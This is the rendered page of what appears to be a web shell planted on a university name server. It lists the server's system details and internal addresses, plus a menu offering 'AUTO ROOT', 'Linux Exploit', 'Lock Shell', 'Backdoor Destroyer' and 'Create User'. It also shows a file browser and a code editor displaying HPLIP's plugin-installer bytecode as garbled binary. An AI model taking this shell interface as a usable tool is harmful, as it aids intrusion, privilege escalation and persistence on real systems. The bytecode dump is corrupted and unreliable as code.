Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
installer /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
core_install.cpython-310.pyc
55.83
KB
-rw-r--r--
dcheck.cpython-310.pyc
8.69
KB
-rw-r--r--
__init__.cpython-310.pyc
131
B
-rw-r--r--
pluginhandler.cpython-310.pyc
11.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pluginhandler.cpython-310.pyc
o �/�a�E � @ s� d dl Z d dlZd dlmZmZmZmZmZ d dlT d dl T d dl T d dlmZ d dl mZ z d dlZdd� ZW n eyI d dlZdd� ZY nw d Zd ZG dd� de�ZdS ) � N)�utils�tui�os_utils� validation�password)�*)�configparser)�core_installc C � t �| ��� S �N)�hashlib�sha1� hexdigest��s� r �+/usr/share/hplip/installer/pluginhandler.py�get_checksum# � r c C r r )�sha�newr r r r r r ) r z/var/lib/hp/hplip.statez.https://developers.hp.com/sites/default/files/c @ s� e Zd Zejfdd�Zdd� Zdd� Zdd� Zd!d d�Z dd � Z dd� Zd"dd�Ze fdd�Zdd� Zdd� Zdd� Zdd� Zdd� Zdd � Zd S )#�PluginHandlec C s@ || _ d| _d| _t| _d| _d| _| �� | �� | � � d S )N� ) �_PluginHandle__plugin_path�_PluginHandle__required_version�_PluginHandle__plugin_name�PLUGIN_NOT_INSTALLED�_PluginHandle__plugin_state� _PluginHandle__installed_version�_PluginHandle__plugin_conf_file� _PluginHandle__setPluginConfFile�_PluginHandle__setPluginVersion�_PluginHandle__readPluginStatus)�self� pluginPathr r r �__init__3 s zPluginHandle.__init__c C s| t j�|d �st�d| � g S t �� }t �|� td�}|�d�}t � � }t �� }t� dd�}t� dd�}t� dd�} t� dd �} t� dd �}t� dd�}d} t� dd �}|| krmt�|d | d � t �| d d� t �� }|dkrxd}n|dks�|dks�|dks�|dkr�d| }nd| }|dkr�d}d}nd}d}g }|D ]�}|�dd��dd�}|� d|��d�D ]u}|�|�s�t�d | � t �|� g S |� |d!d�}|� |d"d�}|� |d#d�}|s�t�d$| � t �|� g S |�st�d%| � t �|� g S t j�t �|��}t �|�}|�r$t �|�}|�|||f� q�q�t �|�}|�� t �|� |S )&Nz/plugin.specz#%s/plugin.spec file doesn't exists.zplugin.spec�products�dirs�ppd�drv�home�doc�cupsbackend� cupsfilterz/etc/udev/rules.d�bini� �power_machintosh�ppc�armv6l�armv7l�aarch64�aarch32zarm%dzx86_%d�@ z/usr/lib64/sanez /usr/lib64z /usr/lib/sanez/usr/libzhp-r �hp_�,zMissing section [%s]�src�trg�linkz$Missing 'src=' value in section [%s]z$Missing 'trg=' value in section [%s])�os�path�exists�log�warn�getcwd�chdir� ConfigBase�keysr � getBitness� getEndian�sys_conf�get�shutil�copyfile�chmod�getProcessor�replace�split�has_section�error�basename�cat�append� uniqueList�sort)r# �src_dir�cwd�plugin_specr&